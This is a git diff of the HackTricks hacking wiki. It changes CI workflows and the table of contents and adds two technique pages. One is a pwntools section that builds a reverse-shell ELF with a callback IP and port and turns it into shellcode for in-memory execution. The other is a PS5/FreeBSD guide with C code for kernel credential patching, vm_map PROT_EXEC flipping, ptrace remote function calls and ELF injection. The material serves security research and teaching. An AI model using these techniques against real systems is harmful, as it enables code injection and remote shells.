diff --git a/.github/workflows/auto_merge_approved_prs.yml b/.github/workflows/auto_merge_approved_prs.yml index f1a649cc5..b1bf7ad48 100644 --- a/.github/workflows/auto_merge_approved_prs.yml +++ b/.github/workflows/auto_merge_approved_prs.yml @@ -2,7 +2,7 @@ name: Auto Merge Approved PRs on: schedule: - - cron: '0 */2 * * *' # Every 2 hours + - cron: '0 */1 * * *' # Every 1 hour workflow_dispatch: # Allow manual triggering permissions: @@ -15,6 +15,17 @@ jobs: runs-on: ubuntu-latest steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + token: ${{ secrets.PAT_TOKEN }} + + - name: Configure git + run: | + git config --global user.email "action@github.com" + git config --global user.name "GitHub Action" + - name: Check for running workflows id: check_workflows run: | @@ -93,6 +104,11 @@ jobs: if [ "$has_merge_comment" = true ]; then echo "Attempting to merge PR #$pr_number..." + # Get PR details including head branch + pr_details=$(gh pr view "$pr_number" --json headRefName,baseRefName --repo "$GITHUB_REPOSITORY") + head_branch=$(echo "$pr_details" | jq -r '.headRefName') + base_branch=$(echo "$pr_details" | jq -r '.baseRefName') + # --- Polling for non-UNKNOWN mergeable status --- max_retries=10 retry=0 @@ -118,6 +134,8 @@ jobs: else echo "Failed to merge PR #$pr_number: $pr_title" fi + elif [ "$pr_mergeable" = "CONFLICTED" ] || [ "$pr_mergeable" = "CONFLICTING" ]; then + echo "PR #$pr_number has conflicts. Skipping auto-merge so it can be resolved manually." else echo "PR #$pr_number is not mergeable (status: $pr_mergeable)" fi diff --git a/.github/workflows/build_master.yml b/.github/workflows/build_master.yml index 99f80c75e..4bcc88628 100644 --- a/.github/workflows/build_master.yml +++ b/.github/workflows/build_master.yml @@ -35,60 +35,38 @@ jobs: - name: Build mdBook run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1) - - name: Update searchindex in repo (purge history, keep current on HEAD) + - name: Install GitHub CLI + run: | + sudo apt-get update + sudo apt-get install -y gh + + - name: Publish search index release asset shell: bash + env: + PAT_TOKEN: ${{ secrets.PAT_TOKEN }} run: | set -euo pipefail - ls -la - ls -la book + ASSET="book/searchindex.js" + TAG="searchindex-en" + TITLE="Search Index (en)" - git config --global --add safe.directory /__w/hacktricks/hacktricks - git config --global user.email "build@example.com" - git config --global user.name "Build master" - git config pull.rebase false - - # Ensure we're on the target branch and up to date - git fetch origin - git reset --hard origin/master - - # Choose the file to keep at HEAD: - # 1) Prefer freshly built version from book/ - # 2) Fallback to the file currently at HEAD (if it exists) - HAS_FILE=0 - if [ -f "book/searchindex.js" ]; then - cp "book/searchindex.js" /tmp/sidx.js - HAS_FILE=1 - elif git cat-file -e "HEAD:searchindex.js" 2>/dev/null; then - git show "HEAD:searchindex.js" > /tmp/sidx.js - HAS_FILE=1 + if [ ! -f "$ASSET" ]; then + echo "Expected $ASSET to exist after build" >&2 + exit 1 fi - # Skip if there's nothing to purge AND nothing to keep - if [ "$HAS_FILE" = "1" ] || git rev-list -n 1 HEAD -- "searchindex.js" >/dev/null 2>&1; then - # Fail early if working tree is dirty (avoid confusing rewrites) - git diff --quiet || { echo "Working tree has uncommitted changes; aborting purge." >&2; exit 1; } + TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}" + if [ -z "$TOKEN" ]; then + echo "No token available for GitHub CLI" >&2 + exit 1 + fi + export GH_TOKEN="$TOKEN" - # Install git-filter-repo and ensure it's on PATH - python -m pip install --quiet --user git-filter-repo - export PATH="$HOME/.local/bin:$PATH" - - # Rewrite ONLY the current branch, dropping all historical blobs of searchindex.js - git filter-repo --force --path "searchindex.js" --invert-paths --refs "$(git symbolic-ref -q HEAD)" - - # Re-add the current version on top of rewritten history (keep it in HEAD) - if [ "$HAS_FILE" = "1" ]; then - mv /tmp/sidx.js "searchindex.js" - git add "searchindex.js" - git commit -m "Update searchindex (purged history; keep current)" - else - echo "No current searchindex.js to re-add after purge." - fi - - # Safer force push (only updates if remote hasn't advanced) - git push --force-with-lease + if ! gh release view "$TAG" >/dev/null 2>&1; then + gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" else - echo "Nothing to purge; skipping." + gh release upload "$TAG" "$ASSET" --clobber --repo "$GITHUB_REPOSITORY" fi diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml index f472a42f9..78adeeab7 100644 --- a/.github/workflows/translate_all.yml +++ b/.github/workflows/translate_all.yml @@ -65,7 +65,7 @@ jobs: - name: Update and download scripts run: | sudo apt-get update - sudo apt-get install wget -y + sudo apt-get install -y wget gh mkdir scripts cd scripts wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py @@ -123,57 +123,35 @@ jobs: git pull MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1) - - name: Update searchindex.js in repo (purge history, keep current on HEAD) + - name: Publish search index release asset shell: bash + env: + PAT_TOKEN: ${{ secrets.PAT_TOKEN }} run: | set -euo pipefail - # Be explicit about workspace trust (avoids "dubious ownership") - git config --global --add safe.directory "$GITHUB_WORKSPACE" + ASSET="book/searchindex.js" + TAG="searchindex-${BRANCH}" + TITLE="Search Index (${BRANCH})" - git checkout "$BRANCH" - git fetch origin "$BRANCH" --quiet - git pull --ff-only - - # Choose the file to keep at HEAD: - # 1) Prefer freshly built version from book/ - # 2) Fallback to the file currently at HEAD (if it exists) - HAS_FILE=0 - if [ -f "book/searchindex.js" ]; then - cp "book/searchindex.js" /tmp/sidx.js - HAS_FILE=1 - elif git cat-file -e "HEAD:searchindex.js" 2>/dev/null; then - git show "HEAD:searchindex.js" > /tmp/sidx.js - HAS_FILE=1 + if [ ! -f "$ASSET" ]; then + echo "Expected $ASSET to exist after build" >&2 + exit 1 fi - # Skip if there's nothing to purge AND nothing to keep - if [ "$HAS_FILE" = "1" ] || git rev-list -n 1 "$BRANCH" -- "searchindex.js" >/dev/null 2>&1; then - # **Fail early if working tree is dirty** (prevents confusing filter results) - git diff --quiet || { echo "Working tree has uncommitted changes; aborting purge." >&2; exit 1; } + TOKEN="${PAT_TOKEN:-${GITHUB_TOKEN:-}}" + if [ -z "$TOKEN" ]; then + echo "No token available for GitHub CLI" >&2 + exit 1 + fi + export GH_TOKEN="$TOKEN" - # Make sure git-filter-repo is callable via `git filter-repo` - python -m pip install --quiet --user git-filter-repo - export PATH="$HOME/.local/bin:$PATH" - - # Rewrite ONLY this branch, dropping all historical blobs of searchindex.js - git filter-repo --force --path "searchindex.js" --invert-paths --refs "refs/heads/$BRANCH" - - # Re-add the current version on top of rewritten history (keep it in HEAD) - if [ "$HAS_FILE" = "1" ]; then - mv /tmp/sidx.js "searchindex.js" - git add "searchindex.js" - git commit -m "Update searchindex (purged history; keep current)" - else - echo "No current searchindex.js to re-add after purge." - fi - - # **Safer force push** (prevents clobbering unexpected remote updates) - git push --force-with-lease origin "$BRANCH" + if ! gh release view "$TAG" >/dev/null 2>&1; then + gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY" else - echo "Nothing to purge; skipping." + gh release upload "$TAG" "$ASSET" --clobber --repo "$GITHUB_REPOSITORY" fi - + # Login in AWs - name: Configure AWS credentials using OIDC uses: aws-actions/configure-aws-credentials@v3 diff --git a/.gitignore b/.gitignore index 77edd91a0..ca8613877 100644 --- a/.gitignore +++ b/.gitignore @@ -11,3 +11,4 @@ book book/* hacktricks-preprocessor.log hacktricks-preprocessor-error.log +searchindex.js diff --git a/src/README.md b/src/README.md index 91dd666bd..48263c722 100644 --- a/src/README.md +++ b/src/README.md @@ -222,6 +222,21 @@ Stay informed and up to date with the latest in cybersecurity by visiting our [* https://www.lasttowersolutions.com/ {{#endref}} +--- + +### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) + +
k8studio logo
+ +K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence. + +Moreover, K8Studio is **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more). + +{{#ref}} +https://k8studio.io/ +{{#endref}} + + --- ## License & Disclaimer diff --git a/src/SUMMARY.md b/src/SUMMARY.md index abe382dcf..53464753f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -37,6 +37,7 @@ - [Mobile Phishing Malicious Apps](generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md) - [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md) - [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md) + - [Adaptixc2 Config Extraction And Ttps](generic-methodologies-and-resources/basic-forensic-methodology/adaptixc2-config-extraction-and-ttps.md) - [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md) - [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md) - [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md) @@ -58,6 +59,7 @@ - [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) - [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md) - [Deofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md) + - [Discord Cache Forensics](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md) - [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md) - [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md) - [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md) @@ -81,6 +83,7 @@ - [Basic Python](generic-methodologies-and-resources/python/basic-python.md) - [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md) - [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md) + - [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md) - [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) # 🧙‍♂️ Generic Hacking @@ -129,6 +132,7 @@ - [Seccomp](linux-hardening/privilege-escalation/docker-security/seccomp.md) - [Weaponizing Distroless](linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md) - [Escaping from Jails](linux-hardening/privilege-escalation/escaping-from-limited-bash.md) + - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [euid, ruid, suid](linux-hardening/privilege-escalation/euid-ruid-suid.md) - [Interesting Groups - Linux Privesc](linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md) - [lxd/lxc Group - Privilege escalation](linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md) @@ -238,7 +242,6 @@ - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) - [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) - [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md) @@ -353,6 +356,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) @@ -487,6 +491,7 @@ - [88tcp/udp - Pentesting Kerberos](network-services-pentesting/pentesting-kerberos-88/README.md) - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) + - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) @@ -566,6 +571,7 @@ - [15672 - Pentesting RabbitMQ Management](network-services-pentesting/15672-pentesting-rabbitmq-management.md) - [24007,24008,24009,49152 - Pentesting GlusterFS](network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md) - [27017,27018 - Pentesting MongoDB](network-services-pentesting/27017-27018-mongodb.md) +- [32100 Udp - Pentesting Pppp Cs2 P2p Cameras](network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md) - [44134 - Pentesting Tiller (Helm)](network-services-pentesting/44134-pentesting-tiller-helm.md) - [44818/UDP/TCP - Pentesting EthernetIP](network-services-pentesting/44818-ethernetip.md) - [47808/udp - Pentesting BACNet](network-services-pentesting/47808-udp-bacnet.md) @@ -725,6 +731,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) @@ -768,7 +775,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) + - [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,8 +845,14 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) +- [PS5 compromission](binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) + - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md) + - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md) + - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md) + - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) + - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) # 🤖 AI - [AI Security](AI/README.md) @@ -889,7 +902,6 @@ - [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md) - [Stego Tricks](crypto-and-stego/stego-tricks.md) - [Esoteric languages](crypto-and-stego/esoteric-languages.md) -- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md) # ✍️ TODO @@ -931,4 +943,4 @@ - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) -- [Cookies Policy](todo/cookies-policy.md) +- [Cookies Policy](todo/cookies-policy.md) \ No newline at end of file diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 33a596405..77f5b140a 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -173,7 +173,41 @@ To update pwntools pwn update ``` +## ELF → raw shellcode packaging (loader_append) + +Pwntools can turn a standalone ELF into a single raw shellcode blob that self‑maps its segments and transfers execution to the original entrypoint. This is ideal for memory‑only loaders (e.g., Android apps invoking JNI to execute downloaded bytes). + +Typical pipeline (amd64 example) + +1) Build a static, position‑independent payload ELF (musl recommended for portability): + +```bash +musl-gcc -O3 -s -static -o exploit exploit.c \ + -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" +``` + +2) Convert ELF → shellcode with pwntools: + +```python +# exp2sc.py +from pwn import * +context.clear(arch='amd64') +elf = ELF('./exploit') +sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) +open('sc','wb').write(sc) +print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") +``` + +3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process. + +Notes +- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry. +- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android. +- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX. + +## References + +- [Pwntools](https://docs.pwntools.com/en/stable/) +- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) + {{#include ../../../banners/hacktricks-training.md}} - - - diff --git a/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md b/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md new file mode 100644 index 000000000..63c4f19b0 --- /dev/null +++ b/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md @@ -0,0 +1,199 @@ +# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study) + +{{#include ../../../banners/hacktricks-training.md}} + +## Overview + +This page documents a practical Unix/BSD usermode process/ELF injection technique on PlayStation 5 (PS5), which is based on FreeBSD. The method generalizes to FreeBSD derivatives when you already have kernel read/write (R/W) primitives. High level: + +- Patch the current process credentials (ucred) to grant debugger authority, enabling ptrace/mdbg on arbitrary user processes. +- Find target processes by walking the kernel allproc list. +- Bypass PROT_EXEC restrictions by flipping vm_map_entry.protection |= PROT_EXEC in the target’s vm_map via kernel data writes. +- Use ptrace to perform Remote Function Invocation (RFI): suspend a thread, set registers to call arbitrary functions inside the target, resume, collect return values, and restore state. +- Map and run arbitrary ELF payloads inside the target using an in-process ELF loader, then spawn a dedicated thread that runs your payload and triggers a breakpoint to detach cleanly. + +PS5 hypervisor mitigations worth noting (contextualized for this technique): +- XOM (execute-only .text) prevents reading/writing kernel .text. +- Clearing CR0.WP or disabling CR4.SMEP causes a hypervisor vmexit (crash). Only data-only kernel writes are viable. +- Userland mmap is restricted to PROT_READ|PROT_WRITE by default. Granting PROT_EXEC must be done by editing vm_map entries in kernel memory. + +This technique is post-exploitation: it assumes kernel R/W primitives from an exploit chain. Public payloads demonstrate this up to firmware 10.01 at time of writing. + +## Kernel data-only primitives + +### Process discovery via allproc + +FreeBSD maintains a doubly-linked list of processes in kernel .data at allproc. With a kernel read primitive, iterate it to locate process names and PIDs: + +```c +struct proc* find_proc_by_name(const char* proc_name){ + uint64_t next = 0; + kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head + struct proc* proc = malloc(sizeof(struct proc)); + do{ + kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry + if (!strcmp(proc->p_comm, proc_name)) return proc; + kernel_copyout(next, &next, sizeof(uint64_t)); // advance next + } while (next); + free(proc); + return NULL; +} + +void list_all_proc_and_pid(){ + uint64_t next = 0; + kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); + struct proc* proc = malloc(sizeof(struct proc)); + do{ + kernel_copyout(next, (void*)proc, sizeof(struct proc)); + printf("%s - %d\n", proc->p_comm, proc->pid); + kernel_copyout(next, &next, sizeof(uint64_t)); + } while (next); + free(proc); +} +``` + +Notes: +- KERNEL_ADDRESS_ALLPROC is firmware-dependent. +- p_comm is a fixed-size name; consider pid->proc lookups if needed. + +### Elevate credentials for debugging (ucred) + +On PS5, struct ucred includes an Authority ID field reachable via proc->p_ucred. Writing the debugger authority ID grants ptrace/mdbg over other processes: + +```c +void set_ucred_to_debugger(){ + struct proc* proc = get_proc_by_pid(getpid()); + if (proc){ + uintptr_t authid = 0; // read current (optional) + uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID + kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t)); + kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t)); + free(proc); + } +} +``` + +- Offset 0x58 is specific to the PS5 firmware family and must be verified per version. +- After this write, the injector can attach and instrument user processes via ptrace/mdbg. + +## Bypassing RW-only user mappings: vm_map PROT_EXEC flip + +Userland mmap may be constrained to PROT_READ|PROT_WRITE. FreeBSD tracks a process’s address space in a vm_map of vm_map_entry nodes (BST plus list). Each entry carries protection and max_protection fields: + +```c +struct vm_map_entry { + struct vm_map_entry *prev,*next,*left,*right; + vm_offset_t start, end, avail_ssize; + vm_size_t adj_free, max_free; + union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags; + vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance; + int wired_count; vm_pindex_t lastr; +}; +``` + +With kernel R/W you can locate the target’s vm_map and set entry->protection |= PROT_EXEC (and, if needed, entry->max_protection). Practical implementation notes: +- Walk entries either linearly via next or using the balanced-tree (left/right) for O(log n) search by address range. +- Pick a known RW region you control (scratch buffer or mapped file) and add PROT_EXEC so you can stage code or loader thunks. +- PS5 SDK code provides helpers for fast map-entry lookup and toggling protections. + +This bypasses userland’s mmap policy by editing kernel-owned metadata directly. + +## Remote Function Invocation (RFI) with ptrace + +FreeBSD lacks Windows-style VirtualAllocEx/CreateRemoteThread. Instead, drive the target to call functions on itself under ptrace control: + +1. Attach to the target and select a thread; PTRACE_ATTACH or PS5-specific mdbg flows may apply. +2. Save thread context: registers, PC, SP, flags. +3. Write argument registers per the ABI (x86_64 SysV or arm64 AAPCS64), set PC to the target function, and optionally place additional args/stack as needed. +4. Single-step or continue until a controlled stop (e.g., software breakpoint or signal), then read back return values from regs. +5. Restore original context and continue. + +Use cases: +- Call into an in-process ELF loader (e.g., elfldr_load) with a pointer to your ELF image in target memory. +- Invoke helper routines to fetch returned entrypoints and payload-args pointers. + +Example of driving the ELF loader: + +```c +intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target); +intptr_t args = elfldr_payload_args(target_pid); +printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args); +``` + +The loader maps segments, resolves imports, applies relocations and returns the entry (often a CRT bootstrap) plus an opaque payload_args pointer that your stager passes to the payload’s main(). + +## Threaded stager and clean detach + +A minimal stager inside the target creates a new pthread that runs the ELF’s main and then triggers int3 to signal the injector to detach: + +```c +int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){ + pthread_t thread; + functions->pthread_create_ptr(&thread, 0, + (void*(*)(void*))functions->elf_main, functions->payload_args); + asm("int3"); + return 0; +} +``` + +- The SCEFunctions/payload_args pointers are provided by the loader/SDK glue. +- After the breakpoint and detach, the payload continues in its own thread. + +## End-to-end pipeline (PS5 reference implementation) + +A working implementation ships as a small TCP injector server plus a client script: + +- NineS server listens on TCP 9033 and receives a header containing the target process name followed by the ELF image: + +```c +typedef struct __injector_data_t{ + char proc_name[MAX_PROC_NAME]; + Elf64_Ehdr elf_header; +} injector_data_t; +``` + +- Python client usage: + +```bash +python3 ./send_injection_elf.py SceShellUI hello_world.elf +``` + +Hello-world payload example (logs to klog): + +```c +#include +#include +#include +int main(){ + klog_printf("Hello from PID %d\n", getpid()); + return 0; +} +``` + +## Practical considerations + +- Offsets and constants (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) are firmware-specific and must be updated per release. +- Hypervisor protections force data-only kernel writes; do not attempt to patch CR0.WP or CR4.SMEP. +- JIT memory is an alternative: some processes expose PS5 JIT APIs to allocate executable pages. The vm_map protection flip removes the need to rely on JIT/mirroring tricks. +- Keep register save/restore robust; on failure, you can deadlock or crash the target. + +## Public tooling + +- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk +- ELF loader: https://github.com/ps5-payload-dev/elfldr +- Injector server: https://github.com/buzzer-re/NineS/ +- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils +- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv + +## References + +- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/) +- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk) +- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr) +- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/) +- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils) +- [Mira](https://github.com/OpenOrbis/mira-project) +- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv) +- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html) + +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md index 7af9afab8..0d466ad54 100644 --- a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -299,3 +299,4 @@ int main(void) { - [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md index 4f31626fa..1660cf154 100644 --- a/src/binary-exploitation/ios-exploiting/README.md +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -274,3 +274,4 @@ For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md index e36e4ed02..4a4049353 100644 --- a/src/binary-exploitation/ios-exploiting/ios-corellium.md +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -82,3 +82,4 @@ ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1 {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md index 7f66c54d2..2ad050c04 100644 --- a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md +++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md @@ -211,3 +211,4 @@ if __name__ == '__main__': {{#include ../../banners/hacktricks-training.md}} + diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md index c11a5df20..88c2586b2 100644 --- a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md +++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md @@ -3,6 +3,19 @@ {{#include ../../banners/hacktricks-training.md}} +## iOS Exploit Mitigations + +- **Code Signing** in iOS works by requiring every piece of executable code 